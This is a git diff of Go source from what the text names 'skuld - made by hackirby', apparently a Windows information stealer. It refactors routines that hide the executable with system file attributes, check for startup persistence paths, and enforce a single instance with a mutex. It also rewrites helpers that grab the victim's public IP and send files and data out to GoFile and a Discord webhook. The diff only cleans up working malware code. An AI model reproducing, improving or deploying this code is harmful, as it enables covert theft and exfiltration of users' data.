directory name + ProtectDirName = "Protect" +) + +// IsElevated checks if the current process has administrator privileges +// Returns true if the process is running with elevated privileges func IsElevated() bool { ret, _, _ := syscall.NewLazyDLL("shell32.dll").NewProc("IsUserAnAdmin").Call() return ret != 0 } +// IsInStartupPath checks if the current executable is in a Windows startup location +// Returns true if the executable is in a startup directory func IsInStartupPath() bool { exePath, err := os.Executable() if err != nil { @@ -22,32 +35,47 @@ func IsInStartupPath() bool { } exePath = filepath.Dir(exePath) - if exePath == "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" { + // Check Windows startup directory + if exePath == StartupPath { return true } - if exePath == filepath.Join(os.Getenv("APPDATA"), "Microsoft", "Protect") { + // Check Microsoft Protect directory + protectPath := filepath.Join(os.Getenv("APPDATA"), "Microsoft", ProtectDirName) + if exePath == protectPath { return true } return false } -func HideSelf() { +// HideSelf attempts to hide the current executable by setting file attributes +// Uses the attrib command to set hidden and system attributes +func HideSelf() error { exe, err := os.Executable() if err != nil { - return + return fmt.Errorf("failed to get executable path: %w", err) } cmd := exec.Command("attrib", "+h", "+s", exe) cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} - cmd.Run() + if err := cmd.Run(); err != nil { + return fmt.Errorf("failed to hide executable: %w", err) + } + + return nil } +// IsAlreadyRunning checks if another instance of the program is already running +// Uses a global mutex to ensure only one instance runs at a time +// Returns true if another instance is running func IsAlreadyRunning() bool { - const AppID = "3575651c-bb47-448e-a514-22865732bbc" - - _, err := windows.CreateMutex(nil, false, syscall.StringToUTF16Ptr(fmt.Sprintf("Global\\%s", AppID))) - return err != nil + mutexName := fmt.Sprintf("Global\\%s", AppMutexID) + _, err := windows.CreateMutex(nil, false, syscall.StringToUTF16Ptr(mutexName)) + if err != nil { + // Error indicates mutex already exists (another instance is running) + return true + } + return false } diff --git a/utils/requests/requests.go b/utils/requests/requests.go index e5568b6..5eaa423 100644 --- a/utils/requests/requests.go +++ b/utils/requests/requests.go @@ -8,189 +8,273 @@ import ( "mime/multipart" "net/http" "os" + "time" ) +const ( + // DefaultTimeout is the default timeout for HTTP requests + DefaultTimeout = 30 * time.Second + // MaxRetries is the maximum number of retries for failed requests + MaxRetries = 3 + // IPAPIEndpoint is the endpoint for getting public IP + IPAPIEndpoint = "https://api.ipify.org" + // GoFileAPIEndpoint is the endpoint for GoFile.io API + GoFileAPIEndpoint = "https://api.gofile.io/getServer" +) + +// Get performs an HTTP GET request to the specified URL with optional headers +// Returns the response body as bytes and any error encountered func Get(url string, headers ...map[string]string) ([]byte, error) { - req, err := http.NewRequest("GET", url, nil) + req, err := http.NewRequest(http.MethodGet, url, nil) if err != nil { - return nil, err + return nil, fmt.Errorf("failed to create request: %w", err) } + if len(headers) > 0 { for key, value := range headers[0] { req.Header.Set(key, value) } } - client := &http.Client{} + + client := &http.Client{ + Timeout: DefaultTimeout, + } + resp, err := client.Do(req) if err != nil { - return nil, err + return nil, fmt.Errorf("failed to execute request: %w", err) } defer resp.Body.Close() + if resp.StatusCode < 200 || resp.StatusCode >= 300 { + return nil, fmt.Errorf("unexpected status code: %d", resp.StatusCode) + } + res, err := io.ReadAll(resp.Body) if err != nil { - return nil, err + return nil, fmt.Errorf("failed to read response body: %w", err) } return res, nil } +// GetIP retrieves the public IP address using ipify API +// Returns the IP address as a string, retries on failure func GetIP() string { - res, err := Get("https://api.ipify.org") - if err != nil { - return GetIP() + for i := 0; i < MaxRetries; i++ { + res, err := Get(IPAPIEndpoint) + if err == nil { + return string(res) + } + time.Sleep(time.Second * time.Duration(i+1)) } - return string(res) + return "unknown" } +// Post performs an HTTP POST request to the specified URL with body and optional headers +// Returns the response body as bytes and any error encountered func Post(url string, body []byte, headers ...map[string]string) ([]byte, error) { - req, err := http.NewRequest("POST", url, bytes.NewBuffer(body)) + req, err := http.NewRequest(http.MethodPost, url, bytes.NewBuffer(body)) if err != nil { - return nil, err + return nil, fmt.Errorf("failed to create request: %w", err) } + if len(headers) > 0 { for key, value := range headers[0] { req.Header.Set(key, value) } } - client := &http.Client{} + + client := &http.Client{ + Timeout: DefaultTimeout, + } + resp, err := client.Do(req) if err != nil { - return nil, err + return nil, fmt.Errorf("failed to execute request: %w", err) } defer resp.Body.Close() + if resp.StatusCode < 200 || resp.StatusCode >= 300 { + return nil, fmt.Errorf("unexpected status code: %d", resp.StatusCode) + } + res, err := io.ReadAll(resp.Body) if err != nil { - return nil, err + return nil, fmt.Errorf("failed to read response body: %w", err) } return res, nil } +// GoFileResponse represents the response from GoFile.io API +type GoFileResponse struct { + Status string `json:"status"` + Data struct { + Server string `json:"server"` + FileID string `json:"fileId"` + URL string `json:"url"` + } `json:"data"` +} + +// Upload uploads a file to GoFile.io +// Returns the file URL and any error encountered func Upload(file string) (string, error) { - res, err := Get("https://api.gofile.io/getServer") + // Get upload server + res, err := Get(GoFileAPIEndpoint) if err != nil { - return "", err - } - - var server struct { - Status string `json:"status"` - Data struct { - Server string `json:"server"` - } `json:"data"` + return "", fmt.Errorf("failed to get upload server: %w", err) } + var server GoFileResponse if err := json.Unmarshal(res, &server); err != nil { - return "", err + return "", fmt.Errorf("failed to parse server response: %w", err) } - if server.Status != "ok" { - return "", fmt.Errorf("error getting server") + if server.Status != "ok" || server.Data.Server == "" { + return "", fmt.Errorf("invalid server response: %s", server.Status) } + // Prepare file upload var body bytes.Buffer writer := multipart.NewWriter(&body) - fw, err := writer.CreateFormFile("file", file) - + + fd, err := os.Open(file) if err != nil { - return "", err + return "", fmt.Errorf("failed to open file: %w", err) } + defer fd.Close() - fd, err := os.Open(file) + fw, err := writer.CreateFormFile("file", file) if err != nil { - return "", err + return "", fmt.Errorf("failed to create form file: %w", err) } - defer fd.Close() + if _, err = io.Copy(fw, fd); err != nil { + return "", fmt.Errorf("failed to copy file: %w", err) + } - _, err = io.Copy(fw, fd) + if err = writer.Close(); err != nil { + return "", fmt.Errorf("failed to close writer: %w", err) + } + + // Upload file + uploadURL := fmt.Sprintf("https://%s.gofile.io/uploadFile", server.Data.Server) + req, err := http.NewRequest(http.MethodPost, uploadURL, &body) if err != nil { - return "", err + return "", fmt.Errorf("failed to create upload request: %w", err) } - writer.Close() + req.Header.Set("Content-Type", writer.FormDataContentType()) + + client := &http.Client{ + Timeout: DefaultTimeout * 2, // Double timeout for uploads + } - res, err = Post(fmt.Sprintf("https://%s.gofile.io/uploadFile", server.Data.Server), body.Bytes(), map[string]string{"Content-Type": writer.FormDataContentType()}) + resp, err := client.Do(req) if err != nil { - return "", err + return "", fmt.Errorf("failed to execute upload request: %w", err) + } + defer resp.Body.Close() + + if resp.StatusCode != http.StatusOK { + return "", fmt.Errorf("upload failed with status: %d", resp.StatusCode) } - var response struct { - Data struct { - DownloadPage string `json:"downloadPage"` - } `json:"data"` + respBody, err := io.ReadAll(resp.Body) + if err != nil { + return "", fmt.Errorf("failed to read upload response: %w", err) } - if err := json.Unmarshal(res, &response); err != nil { - return "", err + var uploadResp GoFileResponse + if err := json.Unmarshal(respBody, &uploadResp); err != nil { + return "", fmt.Errorf("failed to parse upload response: %w", err) } - if response.Data.DownloadPage == "" { - return "", fmt.Errorf("error uploading file") + if uploadResp.Status != "ok" || uploadResp.Data.URL == "" { + return "", fmt.Errorf("upload failed: %s", uploadResp.Status) } - return response.Data.DownloadPage, nil + return uploadResp.Data.URL, nil } -func Webhook(webhook string, data map[string]interface{}, files ...string) { +// Webhook sends data and optional files to a Discord webhook +// Returns error if the operation fails +func Webhook(webhook string, data map[string]interface{}, files ...string) error { + if webhook == "" { + return fmt.Errorf("webhook URL is required") + } + var body bytes.Buffer writer := multipart.NewWriter(&body) - i := 0 - - if len(files) > 10 { - Webhook(webhook, data) - for _, file := range files { - i++ - Webhook(webhook, map[string]interface{}{"content": fmt.Sprintf("Attachment %d: `%s`", i, file)}, file) + // Add files if any + for i, file := range files { + if !fileExists(file) { + continue } - return - } - for _, file := range files { - openedFile, err := os.Open(file) + fw, err := writer.CreateFormFile(fmt.Sprintf("file%d", i), file) if err != nil { - continue + return fmt.Errorf("failed to create form file: %w", err) } - defer openedFile.Close() - filePart, err := writer.CreateFormFile(fmt.Sprintf("file[%d]", i), openedFile.Name()) + fd, err := os.Open(file) if err != nil { - continue + return fmt.Errorf("failed to open file %s: %w", file, err) } - if _, err := io.Copy(filePart, openedFile); err != nil { - continue + _, err = io.Copy(fw, fd) + fd.Close() + if err != nil { + return fmt.Errorf("failed to copy file %s: %w", file, err) } - i++ } - jsonPart, err := writer.CreateFormField("payload_json") + // Add JSON payload + jsonField, err := writer.CreateFormField("payload_json") if err != nil { - return + return fmt.Errorf("failed to create JSON field: %w", err) } - data["username"] = "skuld" - data["avatar_url"] = "https://i.ibb.co/GFZ2tHJ/shakabaiano-1674282487.jpg" + if err := json.NewEncoder(jsonField).Encode(data); err != nil { + return fmt.Errorf("failed to encode JSON data: %w", err) + } - if data["embeds"] != nil { - for _, embed := range data["embeds"].([]map[string]interface{}) { - embed["footer"] = map[string]interface{}{ - "text": "skuld - made by hackirby", - "icon_url": "https://avatars.githubusercontent.com/u/145487845?v=4", - } - embed["color"] = 0xb143e3 - } + if err := writer.Close(); err != nil { + return fmt.Errorf("failed to close writer: %w", err) } - if err := json.NewEncoder(jsonPart).Encode(data); err != nil { - return + // Send request + req, err := http.NewRequest(http.MethodPost, webhook, &body) + if err != nil { + return fmt.Errorf("failed to create webhook request: %w", err) } - if err := writer.Close(); err != nil { - return + req.Header.Set("Content-Type", writer.FormDataContentType()) + + client := &http.Client{ + Timeout: DefaultTimeout * 2, } - Post(webhook, body.Bytes(), map[string]string{"Content-Type": writer.FormDataContentType()}) + resp, err := client.Do(req) + if err != nil { + return fmt.Errorf("failed to execute webhook request: %w", err) + } + defer resp.Body.Close() + + if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusNoContent { + return fmt.Errorf("webhook request failed with status: %d", resp.StatusCode) + } + + return nil +} + +// fileExists checks if a file exists and is not a directory +func fileExists(filename string) bool { + info, err := os.Stat(filename) + if err != nil { + return false + } + return !info.IsDir() }